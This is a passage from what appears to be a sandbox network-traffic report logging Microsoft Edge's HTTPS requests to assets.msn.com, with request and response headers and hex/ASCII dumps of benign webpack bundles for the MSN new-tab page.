{"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.18017104 Vary: Origin
2024-04-23 21:02:24 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 62 65 6c 6c 2d 77 63 22 5d 2c 7b 35 30 34 32 33 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 65 2e 72 28 69 29 2c 65 2e 64 28 69 2c 7b 42 69 6e 67 54 65 6c 65 6d 65 74 72 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 7d 2c 42 69 6e 67 54 65 6c 65 6d 65 74 72 79 41 63 74 69 6f 6e 54 79 70 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["notification-bell-wc"],{50423:function(t,i,e){"use strict";e.r(i),e.d(i,{BingTelemetry:function(){return b},BingTelemetryActionType:function(){
2024-04-23 21:02:24 UTC	9395	IN	Data Raw: 6e 66 69 67 2e 6e 6f 43 6f 75 6e 74 4e 75 6d 62 65 72 7c 7c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 61 6c 77 61 79 73 53 68 6f 77 4e 6f 74 69 66 69 63 61 74 69 6f 6e 42 65 6c 6c 26 26 21 74 68 69 73 2e 69 73 41 6c 6c 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 54 75 72 6e 65 64 4f 6e 3f 22 22 3a 74 68 69 73 2e 63 6f 6e 66 69 67 2e 63 6f 75 6e 74 4e 75 6d 62 65 72 33 50 6c 75 73 26 26 74 3e 33 3f 22 33 2b 22 3a 74 2e 74 6f 53 74 72 69 6e 67 28 29 7d 61 73 79 6e 63 20 70 72 65 70 61 72 65 53 6f 63 69 61 6c 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 28 29 7b 63 6f 6e 73 74 7b 73 6f 63 69 61 6c 4e 6f 74 69 66 69 63 61 74 69 6f 6e 45 78 70 65 72 69 6d 65 6e 74 49 6e 66 6f 3a 74 7d 3d 74 68 69 73 2e 63 6f 6e 66 69 67 3b 69 66 28 21 74 29 72 65 74 75 72 6e 3b 69 66 28 55 2e Data Ascii: nfig.noCountNumber\|\|this.config.alwaysShowNotificationBell&&!this.isAllNotificationsTurnedOn?"":this.config.countNumber3Plus&&t>3?"3+":t.toString()}async prepareSocialNotifications(){const{socialNotificationExperimentInfo:t}=this.config;if(!t)return;if(U.
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 36 34 2e 34 38 34 2e 31 36 34 2e 37 33 34 56 32 68 32 2e 34 36 63 2e 31 34 37 20 30 20 2e 32 36 37 2e 30 34 37 2e 33 36 2e 31 34 2e 30 39 34 2e 30 39 34 2e 31 34 2e 32 31 37 2e 31 34 2e 33 36 38 76 2e 30 36 32 61 34 2e 31 31 33 20 34 2e 31 31 33 20 30 20 30 20 31 2d 2e 33 34 33 20 31 2e 31 32 35 20 34 2e 30 31 20 34 2e 30 31 20 30 20 30 20 31 2d 2e 36 34 2e 39 37 63 2d 2e 32 36 2e 32 39 2d 2e 35 35 35 2e 35 34 2d 2e 38 38 33 2e 37 35 61 33 2e 36 36 20 33 2e 36 36 20 30 20 30 20 31 2d 31 2e 30 39 34 2e 34 36 56 36 68 32 2e 34 36 63 2e 31 34 37 20 30 20 2e 32 36 37 2e 30 34 37 2e 33 36 2e 31 34 2e 30 39 34 2e 30 39 34 2e 31 34 2e 32 31 37 2e 31 34 2e 33 36 38 76 2e 30 36 32 61 34 2e 31 31 33 20 34 2e 31 31 33 20 30 20 30 20 31 Data Ascii: 0000600064.484.164.734V2h2.46c.147 0 .267.047.36.14.094.094.14.217.14.368v.062a4.113 4.113 0 0 1-.343 1.125 4.01 4.01 0 0 1-.64.97c-.26.29-.555.54-.883.75a3.66 3.66 0 0 1-1.094.46V6h2.46c.147 0 .267.047.36.14.094.094.14.217.14.368v.062a4.113 4.113 0 0 1
2024-04-23 21:02:24 UTC	8204	IN	Data Raw: 6e 74 61 69 6e 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 73 6f 63 69 61 6c 2d 69 74 65 6d 5f 6c 65 66 74 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 73 6f 63 69 61 6c 2d 69 74 65 6d 5f 74 69 74 6c 65 22 3e 24 7b 74 3d 3e 74 2e 73 6f 63 69 61 6c 4e 6f 74 69 66 69 63 61 74 69 6f 6e 49 74 65 6d 2e 74 69 74 6c 65 7d 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 73 6f 63 69 61 6c 2d 69 74 65 6d 5f 62 6f 64 79 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 7b 74 3d 3e 74 Data Ascii: ntainer"> <div class="notification-social-item_left"> <div class="notification-social-item_title">${t=>t.socialNotificationItem.title}</div> <div class="notification-social-item_body"> ${t=>t
2024-04-23 21:02:24 UTC	11798	IN	Data Raw: 30 30 30 30 32 45 30 41 0d 0a 73 69 7a 65 3a 37 70 78 7d 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 63 6f 75 6e 74 2e 6e 6f 2d 63 6f 75 6e 74 7b 6c 65 66 74 3a 32 32 70 78 3b 77 69 64 74 68 3a 38 70 78 3b 68 65 69 67 68 74 3a 38 70 78 3b 74 6f 70 3a 38 70 78 7d 2e 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 63 6f 6e 74 65 6e 74 7b 2d 2d 65 6c 65 76 61 74 69 6f 6e 3a 31 31 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 24 7b 4e 69 2e 73 7d 3b 77 69 64 74 68 3a 33 36 30 70 78 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 34 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 30 70 78 3b 63 6f 6c 6f 72 3a 24 7b 53 69 2e 43 7d 3b 66 69 6c 74 65 72 3a 64 72 Data Ascii: 00002E0Asize:7px}.notification-count.no-count{left:22px;width:8px;height:8px;top:8px}.notification-content{--elevation:11;background:${Ni.s};width:360px;border-radius:5px;position:absolute;top:40px;font-size:14px;line-height:20px;color:${Si.C};filter:dr
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 38 2c 61 3d 32 2a 6e 2c 6f 3d 22 63 6f 61 63 68 6d 61 72 6b 73 22 7d 2c 36 31 37 30 32 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 69 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 26 26 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 6e 74 70 53 65 74 74 69 6e 67 73 50 72 69 76 61 74 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 63 68 72 6f 6d 65 2e 6e 74 70 53 65 74 74 69 6e 67 73 50 72 69 76 61 74 65 5b 74 5d 7d 66 75 6e 63 74 69 6f 6e 20 61 28 74 29 7b 63 6f 6e 73 74 20 69 3d 5b 22 63 6f 61 63 68 4d 61 72 6b 4b 65 79 22 2c 22 6c 61 74 65 73 74 53 68 6f 77 6e 54 69 Data Ascii: 00004000=8,a=2*n,o="coachmarks"},61702:function(t,i,e){"use strict";function n(t){return window&&window.chrome&&window.chrome.ntpSettingsPrivate&&"function"==typeof window.chrome.ntpSettingsPrivate[t]}function a(t){const i=["coachMarkKey","latestShownTi
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 3a 22 31 22 7d 2c 69 3d 28 30 0d 0a Data Ascii: :"1"},i=(0
2024-04-23 21:02:24 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 64 2e 59 71 29 28 29 2e 43 75 72 72 65 6e 74 4d 61 72 6b 65 74 3b 69 26 26 28 74 5b 22 58 2d 53 65 61 72 63 68 2d 55 49 4c 61 6e 67 22 5d 3d 69 29 3b 63 6f 6e 73 74 20 65 3d 28 30 2c 68 2e 24 6f 29 28 29 2e 67 65 74 49 74 65 6d 28 76 2e 49 30 29 3b 65 26 26 28 74 5b 22 58 2d 53 65 61 72 63 68 2d 52 50 53 54 6f 6b 65 6e 22 5d 3d 65 29 3b 63 6f 6e 73 74 20 6e 3d 28 30 2c 77 2e 6a 47 29 28 29 3b 72 65 74 75 72 6e 20 6e 26 26 28 74 5b 22 58 2d 53 65 61 72 63 68 2d 43 6c 69 65 6e 74 49 44 22 5d 3d 6e 29 2c 70 2e 41 6c 2e 43 75 72 72 65 6e 74 46 6c 69 67 68 74 73 26 26 28 74 5b 22 58 2d 50 45 52 53 4f 4e 41 4c 42 49 4e 47 2d 46 4c 49 47 48 54 53 22 5d 3d 70 2e 41 6c 2e 43 75 72 72 65 6e 74 46 6c 69 67 68 74 73 29 2c 74 7d 61 73 Data Ascii: 00004000,d.Yq)().CurrentMarket;i&&(t["X-Search-UILang"]=i);const e=(0,h.$o)().getItem(v.I0);e&&(t["X-Search-RPSToken"]=e);const n=(0,w.jG)();return n&&(t["X-Search-ClientID"]=n),p.Al.CurrentFlights&&(t["X-PERSONALBING-FLIGHTS"]=p.Al.CurrentFlights),t}as
2024-04-23 21:02:24 UTC	12	IN	Data Raw: 48 33 2e 35 61 31 20 31 20 30 0d 0a Data Ascii: H3.5a1 1 0
2024-04-23 21:02:24 UTC	1785	IN	Data Raw: 30 30 30 30 30 36 45 44 0d 0a 20 30 30 2d 31 20 31 76 2e 30 36 7a 4d 31 33 20 37 2e 35 61 31 2e 35 20 31 2e 35 20 30 20 31 31 33 20 30 20 31 2e 35 20 31 2e 35 20 30 20 30 31 2d 33 20 30 7a 4d 31 34 2e 35 20 35 61 32 2e 35 20 32 2e 35 20 30 20 31 30 30 20 35 20 32 2e 35 20 32 2e 35 20 30 20 30 30 30 2d 35 7a 22 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e 27 7d 2c 35 36 39 33 33 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 2e 65 78 70 6f 72 74 73 3d 27 3c 73 76 67 20 77 69 64 74 68 3d 22 32 30 22 20 68 65 69 67 68 74 3d 22 32 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 30 20 32 30 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 20 31 30 61 38 20 38 20 30 20 Data Ascii: 000006ED 00-1 1v.06zM13 7.5a1.5 1.5 0 113 0 1.5 1.5 0 01-3 0zM14.5 5a2.5 2.5 0 100 5 2.5 2.5 0 000-5z"></path></svg>'},56933:function(t){t.exports='<svg width="20" height="20" viewBox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"><path d="M18 10a8 8 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49874	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/feedback.3220005356a33ce0ca94.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:24 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: qR6Am47hODfZUSE8NSGzDA== Last-Modified: Fri, 19 Apr 2024 19:35:49 GMT ETag: 0x8DC60A7EAEF6F36 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 1a457af9-e01e-00c1-2290-92c5f8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Content-Length: 7322 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747742,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801715e Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.1801715e Vary: Origin
2024-04-23 21:02:24 UTC	7322	IN	Data Raw: 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 66 65 65 64 62 61 63 6b 22 5d 2c 7b 32 39 34 31 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 72 28 74 29 2c 69 2e 64 28 74 2c 7b 46 65 65 64 62 61 63 6b 4c 69 6e 6b 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 7d 2c 46 65 65 64 62 61 63 6b 4c 69 6e 6b 57 43 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 43 7d 2c 46 65 65 64 62 61 63 6b 4c 69 6e 6b 57 43 Data Ascii: (self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["feedback"],{29418:function(e,t,i){"use strict";i.r(t),i.d(t,{FeedbackLinkWC:function(){return f},FeedbackLinkWCStyles:function(){return C},FeedbackLinkWC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49876	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	631	OUT	GET /bundles/v1/edgeChromium/latest/na-trending.e1c8353f6c85262a7e58.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: rO1BjsNxxBgZQDPA8IS2xA== Last-Modified: Tue, 23 Apr 2024 19:32:48 GMT ETag: 0x8DC63CC285DA9C0 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 129d33cd-101e-0042-25b5-95efab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Content-Length: 10681 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747939,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017223 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.18017223 Vary: Origin
2024-04-23 21:02:25 UTC	10681	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 61 2d 74 72 65 6e 64 69 6e 67 22 5d 2c 7b 36 35 33 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 7b 48 65 72 6f 43 6f 6e 74 61 69 6e 65 72 57 43 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 2c 48 65 72 6f 43 6f 6e 74 61 69 6e 65 72 57 43 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 75 7d 2c 48 65 72 6f 43 6f 6e 74 61 69 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["na-trending"],{6534:function(e,t,n){n.r(t),n.d(t,{HeroContainerWC:function(){return l},HeroContainerWCStyles:function(){return u},HeroContai

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49877	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	637	OUT	GET /bundles/v1/edgeChromium/latest/superBreakingNews.b103d390df46602376d8.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1154	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: ZBGKXqOEe+5UFmwPaKEtjQ== Last-Modified: Wed, 17 Apr 2024 19:30:50 GMT ETag: 0x8DC5F14E397BB01 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 1028fc7a-c01e-0057-55fd-90d883000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:24 GMT Content-Length: 10984 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402747947,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 1801722b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906144.1801722b Vary: Origin
2024-04-23 21:02:25 UTC	10984	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 73 75 70 65 72 42 72 65 61 6b 69 6e 67 4e 65 77 73 22 5d 2c 7b 38 39 34 38 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 72 28 6e 29 2c 74 2e 64 28 6e 2c 7b 53 75 70 65 72 42 72 65 61 6b 69 6e 67 4e 65 77 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 7d 2c 53 75 70 65 72 42 72 65 61 6b 69 6e 67 4e 65 77 73 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 57 7d 2c Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["superBreakingNews"],{8948:function(e,n,t){t.r(n),t.d(n,{SuperBreakingNews:function(){return P},SuperBreakingNewsStyles:function(){return W},

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49878	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:24 UTC	637	OUT	GET /bundles/v1/edgeChromium/latest/weather-one-liner.48b10cbc534ebb1a7fad.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: FvBVuFkiwGHisTFzCM9boA== Last-Modified: Tue, 23 Apr 2024 19:32:45 GMT ETag: 0x8DC63CC26F8CDE0 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 6d1fba07-101e-00ae-50b5-950ec5000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402747958,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017236 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.18017236 Vary: Origin
2024-04-23 21:02:25 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 65 61 74 68 65 72 2d 6f 6e 65 2d 6c 69 6e 65 72 22 5d 2c 7b 35 31 34 32 36 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 74 29 7b 74 2e 64 28 6e 2c 7b 44 34 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 7d 2c 57 54 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 7d 2c 67 78 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 2c 68 34 3a 66 75 6e 63 74 Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-one-liner"],{51426:function(e,n,t){t.d(n,{D4:function(){return a},WT:function(){return l},gx:function(){return i},h4:funct
2024-04-23 21:02:25 UTC	9395	IN	Data Raw: 74 68 65 72 4f 6e 65 4c 69 6e 65 72 45 78 70 61 6e 64 54 65 6c 65 6d 65 74 72 79 3d 79 28 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 2c 6c 2e 74 6f 4c 6f 63 61 6c 65 4c 6f 77 65 72 43 61 73 65 28 29 29 2c 74 68 69 73 2e 61 63 74 69 6f 6e 73 4d 65 6e 75 50 72 6f 70 73 2e 70 75 73 68 28 7b 67 6c 79 70 68 3a 54 28 29 2c 74 69 74 6c 65 3a 74 68 69 73 2e 73 74 72 69 6e 67 73 2e 68 69 64 65 57 65 61 74 68 65 72 4f 6e 65 4c 69 6e 65 72 2c 69 64 3a 22 68 69 64 65 22 2c 6f 6e 43 6c 69 63 6b 3a 28 29 3d 3e 7b 74 68 69 73 2e 68 69 64 65 57 65 61 74 68 65 72 4f 6e 65 4c 69 6e 65 72 28 21 30 29 7d 2c 74 65 6c 65 6d 65 74 72 79 54 61 67 3a 6e 75 6c 6c 3d 3d 3d 28 64 3d 74 68 69 73 2e 77 65 61 74 68 65 72 4f 6e 65 4c 69 6e 65 72 45 78 70 61 6e 64 54 65 Data Ascii: therOneLinerExpandTelemetry=y(this.telemetryObject,l.toLocaleLowerCase()),this.actionsMenuProps.push({glyph:T(),title:this.strings.hideWeatherOneLiner,id:"hide",onClick:()=>{this.hideWeatherOneLiner(!0)},telemetryTag:null===(d=this.weatherOneLinerExpandTe
